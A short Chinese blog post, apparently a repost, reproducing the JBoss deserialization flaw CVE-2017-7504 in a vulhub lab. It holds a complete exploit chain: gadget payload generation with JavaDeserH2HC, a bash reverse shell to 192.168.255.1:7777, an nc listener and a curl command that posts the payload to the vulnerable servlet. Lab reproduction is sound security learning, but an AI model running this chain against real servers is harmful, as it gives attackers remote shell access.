jboss反序列化漏洞复现(CVE-2017-7504)

0x01 环境

使用vulhub搭建:/vulhub-master/jboss/CVE-2017-7504

漏洞点:http://192.168.255.130:8080/jbossmq-httpil/HTTPServerILServlet

0x02 复现

工具:https://github.com/joaomatosf/JavaDeserH2HC

进入目录,选择一个Gadget:ExampleCommonsCollections1WithHashMap,编译并生成序列化数据::

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java

注意,windows下会报错,需要在linux下执行,接着执行

java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.255.1/7777 0>&1"

双引号内是我们要执行的命令,我用bash反弹一个shell到物理机win10,这条命令会在当前目录下生成一个ExampleCommonsCollections1WithHashMap.ser文件

 win10要接收shell,先要关闭防火墙,然后用nc监听7777端口:

nc.exe-master>nc64.exe -lvvp 7777

linux执行:

sudo curl http://127.0.0.1:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser

 成功反弹shell

参考文章:https://www.cnblogs.com/yuzly/p/11240101.html

猜你喜欢

转载自www.cnblogs.com/rnss/p/13376149.html
今日推荐